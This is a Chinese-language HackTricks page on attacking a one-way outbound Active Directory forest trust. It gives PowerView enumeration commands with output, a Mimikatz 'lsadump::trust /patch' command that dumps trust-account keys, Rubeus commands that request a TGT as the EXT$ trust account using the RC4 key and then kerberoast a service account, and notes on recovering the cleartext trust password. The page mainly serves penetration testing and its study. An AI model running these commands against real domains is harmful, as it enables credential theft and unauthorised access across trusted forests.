hacktricks/windows-hardening/active-directory-methodology/external-forest-domain-one-way-outbound.md

6.1 KiB
Raw Blame History

外部森林域 - 单向(出站)

从零开始学习AWS黑客技术成为 htARTE (HackTricks AWS红队专家)

支持HackTricks的其他方式

在这种情况下,您的域正在信任来自不同域的某些权限

枚举

出站信任

# Notice Outbound trust
Get-DomainTrust
SourceName      : root.local
TargetName      : ext.local
TrustType       : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes : FOREST_TRANSITIVE
TrustDirection  : Outbound
WhenCreated     : 2/19/2021 10:15:24 PM
WhenChanged     : 2/19/2021 10:15:24 PM

# Lets find the current domain group giving permissions to the external domain
Get-DomainForeignGroupMember
GroupDomain             : root.local
GroupName               : External Users
GroupDistinguishedName  : CN=External Users,CN=Users,DC=DOMAIN,DC=LOCAL
MemberDomain            : root.io
MemberName              : S-1-5-21-1028541967-2937615241-1935644758-1115
MemberDistinguishedName : CN=S-1-5-21-1028541967-2937615241-1935644758-1115,CN=ForeignSecurityPrincipals,DC=DOMAIN,DC=LOCAL
## Note how the members aren't from the current domain (ConvertFrom-SID won't work)

信任账户攻击

当从域 B 向域 A 设置 Active Directory 域或林信任时(B 信任 A在域 A 中创建了一个名为 B 的信任账户。Kerberos 信任密钥,由信任账户的密码衍生,用于加密域间 TGTs,当域 A 的用户请求域 B 中服务的服务票据时。

可以使用以下方法从域控制器获取受信任账户的密码和哈希:

Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.my.domain.local

风险在于,由于信任账户 B$ 已启用,B$ 的主要群组是域 A 的域用户,授予域用户的任何权限都适用于 B$,并且可以使用 B$ 的凭据对域 A 进行认证。

{% hint style="warning" %} 因此,从信任域可以获得受信任域内的用户。这个用户可能没有很多权限(可能只是域用户),但你将能够枚举外部域。 {% endhint %}

在此示例中,信任域是 ext.local,受信任的域是 root.local。因此,在 root.local 内创建了一个名为 EXT$ 的用户。

# Use mimikatz to dump trusted keys
lsadump::trust /patch
# You can see in the output the old and current credentials
# You will find clear text, AES and RC4 hashes

因此,此时已经拥有 root.local\EXT$ 的当前明文密码和Kerberos密钥。 root.local\EXT$ 的Kerberos AES密钥与AES信任密钥不同因为使用了不同的盐值但是RC4密钥是相同的。因此,我们可以使用从ext.local导出的RC4信任密钥来作为root.local\EXT$root.local 进行认证

.\Rubeus.exe asktgt /user:EXT$ /domain:root.local /rc4:<RC4> /dc:dc.root.local /ptt

使用这个方法你可以开始枚举该域甚至对用户进行kerberoasting

.\Rubeus.exe kerberoast /user:svc_sql /domain:root.local /dc:dc.root.local

收集明文信任密码

在之前的流程中,使用了信任哈希而不是明文密码也是由mimikatz转储的)。

明文密码可以通过将mimikatz的[ CLEAR ]输出从十六进制转换并移除空字节‘\x00来获得

有时在创建信任关系时用户必须输入信任的密码。在此演示中关键是原始信任密码因此是人类可读的。随着密钥周期30天明文将不再是人类可读的但技术上仍然可用。

明文密码可以用来执行常规认证作为信任账户这是请求使用信任账户的Kerberos密钥的TGT的另一种方法。这里从ext.local查询root.local的Domain Admins成员

参考资料

通过 htARTE (HackTricks AWS Red Team Expert)从零到英雄学习AWS黑客攻击

支持HackTricks的其他方式